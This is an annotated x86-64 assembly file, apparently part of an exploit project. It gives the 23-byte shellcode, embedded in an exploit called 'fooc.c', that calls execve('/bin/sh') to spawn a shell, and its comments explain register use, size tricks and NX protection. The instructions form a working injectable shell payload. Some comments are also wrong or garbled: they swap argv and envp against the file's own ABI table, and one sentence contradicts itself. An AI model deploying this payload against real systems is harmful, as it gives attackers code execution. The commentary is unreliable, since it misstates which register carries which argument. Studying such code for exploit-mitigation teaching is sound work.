foo/shellcode.S
2026-09-29 09:39:24 +02:00

140 lines
6.6 KiB
ArmAsm

; ===========================================================================
; shellcode.S -- the reference version of the 23 bytes embedded in fooc.c
; ===========================================================================
;
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
; array in fooc.c is exactly the machine code you would get from assembling
; these instructions. It is not used by the exploit, which carries the bytes
; inline so it has no runtime dependency on nasm.
;
; make verify-shellcode assembles this and diffs it against fooc.c
;
; WHAT IT DOES
; ------------
; execve("/bin/sh", argv = NULL, envp = NULL)
;
; ... and that is the whole payload. There is no loop, no decoder, no
; egg-hunter: 23 bytes that turn the process into a shell.
;
; THE ABI
; -------
; The System V AMD64 calling convention, and the kernel's syscall convention,
; agree on the register layout, which is why one sequence serves both:
;
; rdi 1st argument -> the pathname
; rsi 2nd argument -> argv
; rdx 3rd argument -> envp
; rax syscall number -> 59 = execve
;
; Passing argv = NULL makes the kernel synthesise argv[0] from the pathname,
; and envp = NULL gives the new program an empty environment. The shell runs
; fine, but with no PATH, so `id` and `uname` work and bare `vi` does not --
; a small detail that surprises people, and the reason fooc's own local shell
; uses execv() with a real environment instead.
;
; ASSEMBLY NOTES
; --------------
; * `mov rdi, 0x68732f6e69622f` needs the REX.W prefix and a 64-bit
; immediate, so it is spelled `movabs` in AT&T syntax (or `mov r64,
; imm64` in Intel syntax). The immediate is the eight ASCII bytes
; "/bin/sh\0" read as a little-endian 64-bit number -- the NUL comes free
; because it is the high byte of the little-endian representation, which is
; the top of the string.
;
; * We `push rdi` rather than putting the string in a `.data` section
; because the payload must be position independent: it will sit at whatever
; address the target's stack (or, in a ROP chain, wherever the attacker
; chose) happens to be. RIP-relative addressing would break, `push` will
; not.
;
; * `push 0x3b; pop rax` is the idiomatic 2-byte way to load a small syscall
; number. `mov eax, 0x3b` is 5 bytes, which matters in a payload.
;
; * There is no `ret` at the end. execve replaces the process image and never
; returns, so anything after `syscall` is dead code. The shell you get never
; runs our bytes again -- which is why the parent process's stack, and
; therefore the corrupted return address, is irrelevant once this fires.
;
; WHY THIS IS THE THING NX BIT EXISTS TO STOP
; -------------------------------------------
; These bytes must land on an executable page. The stack normally is not, so
; on any modern system the CPU raises SIGSEGV the moment `ret` transfers control
; into the payload. That single hardware feature is why real-world ROP chains
; look like this file and not like this file: with NX on, the attacker reuses
; code that already exists in the binary or in libc. See README.md.
; ===========================================================================
BITS 64
; section .text -- mark it executable, the default, so `nasm -f bin` emits
; the instruction bytes with no ELF wrapper around them.
section .text
; ---------------------------------------------------------------------------
; xor esi, esi
; rsi = 0 -> envp = NULL
;
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5) and
; the classic x86 idiom for producing a zero without a memory operand. It
; also has a side effect: the zeroing flag form skips the dependency-breaking
; trick some old CPUs needed, which no longer matters.
; ---------------------------------------------------------------------------
xor esi, esi
; ---------------------------------------------------------------------------
; xor edx, edx
; rdx = 0 -> argv = NULL
; ---------------------------------------------------------------------------
xor edx, edx
; ---------------------------------------------------------------------------
; movabs rdi, 0x68732f6e69622f
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
;
; Read the immediate right-to-left as bytes and it spells the string out.
; That packing is the whole trick: eight bytes of payload in a ten-byte
; instruction, no data section, no relocation, no alignment padding.
; ---------------------------------------------------------------------------
movabs rdi, 0x68732f6e69622f
; ---------------------------------------------------------------------------
; push rdi
; Put those eight bytes on the stack, where a string has to live so that a
; register can point at it. The stack is writable and is at a known
; (attacker-chosen) address, so this is the position-independent way to
; materialise a string constant.
; ---------------------------------------------------------------------------
push rdi
; ---------------------------------------------------------------------------
; mov rdi, rsp
; rdi = the address of the string we just pushed = argv[0] as well as the
; pathname. Reusing one buffer for both is legal; the kernel only reads the
; pathname before it sets up the new stack, and by then argv[0] is copied.
; ---------------------------------------------------------------------------
mov rdi, rsp
; ---------------------------------------------------------------------------
; push 0x3b
; pop rax
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
;
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
; 1 = write, 2 = open, ..., 59 = execve. They are not sequential by function,
; they are fixed by history, which is why they are also a handy way for an
; analyst to recognise a payload.
; ---------------------------------------------------------------------------
push 0x3b
pop rax
; ---------------------------------------------------------------------------
; syscall
; Trap into the kernel. On return, either we are a shell (success) or we
; are handed a -errno in rax and fall off the end of the payload (failure).
; ---------------------------------------------------------------------------
syscall
; Note what is NOT here:
; * no `ret` -- execve does not return.
; * no `nop` sled -- we jump straight to the first byte.
; * no `jmp $+N` -- nothing to reach.